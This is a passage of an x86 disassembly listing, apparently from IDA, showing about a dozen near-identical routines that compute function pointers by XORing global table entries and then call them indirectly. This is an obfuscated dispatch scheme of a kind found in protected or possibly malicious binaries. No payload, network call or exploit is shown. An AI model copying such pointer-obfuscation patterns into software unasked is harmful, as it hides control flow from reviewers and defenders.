var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 38h
		mov	[ebp+var_2C], 0E9h
		mov	[ebp+var_28], 46h
		mov	[ebp+var_24], 0B2h
		mov	[ebp+var_20], 0B5h
		mov	[ebp+var_1C], 48h
		mov	[ebp+var_18], 35h
		mov	[ebp+var_14], 9Dh
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A595E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A595E:				; CODE XREF: sub_4A58D0+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A58D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A59CA	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8D4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 81h
		mov	[ebp+var_2C], 63h
		mov	[ebp+var_28], 5Fh
		mov	[ebp+var_24], 6Ch
		mov	[ebp+var_20], 0A5h
		mov	[ebp+var_1C], 41h
		mov	[ebp+var_18], 0EFh
		mov	[ebp+var_14], 98h
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5A5B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5A5B:				; CODE XREF: sub_4A59CA+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A59CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A5AC7	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8D8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 58h
		mov	[ebp+var_2C], 0DDh
		mov	[ebp+var_28], 0EBh
		mov	[ebp+var_24], 29h
		mov	[ebp+var_20], 0A6h
		mov	[ebp+var_1C], 0A5h
		mov	[ebp+var_18], 0
		mov	[ebp+var_14], 0ABh
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5B58
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5B58:				; CODE XREF: sub_4A5AC7+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A5AC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A5BC4	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8DCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 89h
		mov	[ebp+var_2C], 8
		mov	[ebp+var_28], 63h
		mov	[ebp+var_24], 2Dh
		mov	[ebp+var_20], 0D1h
		mov	[ebp+var_1C], 29h
		mov	[ebp+var_18], 23h
		mov	[ebp+var_14], 0BCh
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5C55
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5C55:				; CODE XREF: sub_4A5BC4+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A5BC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A5CC1	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8E0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0CAh
		mov	[ebp+var_2C], 1Eh
		mov	[ebp+var_28], 1Eh
		mov	[ebp+var_24], 83h
		mov	[ebp+var_20], 8Ch
		mov	[ebp+var_1C], 0C0h
		mov	[ebp+var_18], 0DBh
		mov	[ebp+var_14], 2Eh
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5D52
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5D52:				; CODE XREF: sub_4A5CC1+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A5CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A5DBE	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8E4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0ECh
		mov	[ebp+var_2C], 0Ch
		mov	[ebp+var_28], 0F6h
		mov	[ebp+var_24], 82h
		mov	[ebp+var_20], 3
		mov	[ebp+var_1C], 8Ah
		mov	[ebp+var_18], 3Ch
		mov	[ebp+var_14], 0A9h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5E4F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5E4F:				; CODE XREF: sub_4A5DBE+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A5DBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A5EBB	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8E8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Ch
		mov	[ebp+var_2C], 0C3h
		mov	[ebp+var_28], 41h
		mov	[ebp+var_24], 0F4h
		mov	[ebp+var_20], 95h
		mov	[ebp+var_1C], 5Fh
		mov	[ebp+var_18], 6Ch
		mov	[ebp+var_14], 2Eh
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5F4C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5F4C:				; CODE XREF: sub_4A5EBB+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A5EBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A5FB8	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8ECo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0EBh
		mov	[ebp+var_2C], 60h
		mov	[ebp+var_28], 17h
		mov	[ebp+var_24], 7Bh
		mov	[ebp+var_20], 62h
		mov	[ebp+var_1C], 0C3h
		mov	[ebp+var_18], 25h
		mov	[ebp+var_14], 7Dh
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6049
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6049:				; CODE XREF: sub_4A5FB8+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A5FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A60B5	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8F0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C8h
		mov	[ebp+var_2C], 57h
		mov	[ebp+var_28], 0E8h
		mov	[ebp+var_24], 29h
		mov	[ebp+var_20], 5Eh
		mov	[ebp+var_1C], 0DAh
		mov	[ebp+var_18], 0B7h
		mov	[ebp+var_14], 0F3h
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6146
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6146:				; CODE XREF: sub_4A60B5+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A60B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A61B2	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8F4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 63h
		mov	[ebp+var_2C], 1Ch
		mov	[ebp+var_28], 67h
		mov	[ebp+var_24], 0ACh
		mov	[ebp+var_20], 0DDh
		mov	[ebp+var_1C], 0Dh
		mov	[ebp+var_18], 41h
		mov	[ebp+var_14], 24h
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6243
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6243:				; CODE XREF: sub_4A61B2+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A61B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A62AF	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8F8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3Bh
		mov	[ebp+var_2C], 8Bh
		mov	[ebp+var_28], 66h
		mov	[ebp+var_24], 15h
		mov	[ebp+var_20], 0EFh
		mov	[ebp+var_1C], 80h
		mov	[ebp+var_18], 51h
		mov	[ebp+var_14], 68h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6340
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6340:				; CODE XREF: sub_4A62AF+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
